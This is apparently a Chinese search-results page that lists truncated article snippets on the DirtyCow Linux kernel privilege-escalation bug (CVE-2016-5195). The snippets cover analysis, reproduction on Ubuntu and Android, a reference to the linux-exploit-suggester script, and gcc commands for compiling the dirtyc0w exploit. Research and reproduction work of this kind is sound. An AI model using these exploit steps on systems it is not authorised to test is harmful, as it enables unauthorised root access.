  • Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。
  • Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。 CVE-2016-...
  • 来自:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh #!/bin/bash # # Copyright (c) 2016-2018, mzet # # linux-exploit-suggester.sh comes with...
  • DirtyCow漏洞分析

    2019-07-27 06:50:29
    漏洞编号:CVE-2016-5195, 这是一个Linux kernel的本地权限提升漏洞。这里通过一个实验来逐步分析这个漏洞。 实验poc:
  • 复现dirtycow——CVE-2016-5195

    千次阅读 2017-03-10 21:32:43
    又来复习了一下dirtycow,于是从我的U盘里载入了一个新的ubuntu-14.04-server,我想一定不要upgrade,不然就没有漏洞环境了。 然后我把ubuntu-14.04-server装好在我Mac里的VMWare之后,由于想要得到PoC的可执行文件...
  • 关于“Dirty COW" 的影响,这方面的文章网上写的太多了,但是关于此漏洞真实成因的文章却很缺乏,基于此,我写了这篇文章,希望对想深入研究的人一些帮助。脏牛漏洞核心成因: 基于下面的POC来讲,要篡改的...
  • dirtycow

    千次阅读 2016-11-10 09:16:49
    最近曝光一个关于dirtycowlinux漏洞,准备在android下进行提权测试,以下是网上的一些观点和我自己的测试。 一、关于编译 在Windows7下的cygwin下编译 windows设置环境变量,将android-ndk-r11路径添加到Path下 ...
  • Linux内核的内存子系统在处理copy-on-write(COW)时出现竞争条件,导致私有只读存储器映射被破坏,可利用此漏洞非法获得读写权限,进而提升权限。 android系统中的普通用户,若对root用户创建文件只有读权限,利用...
  • 注意,编译漏洞利用程序时: gcc -lpthread dirtyc0w.c -o dirtyc0w 在Ubuntu 15.10下实际测试,需要改为: gcc -pthread dirtyc0w.c -o dirtyc0w 或 gcc dirtyc0w.c -o dirtyc0w -lpthread ...
  • Linux提权思路 前言 首先关于Linux提权我们得先明白几个概念。 linux发行版本 是我们常说的Linux操作系统,也即是由Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己...
1 2 3 4 5 ... 9
收藏数 178
精华内容 71
热门标签
关键字:

dirtycow linux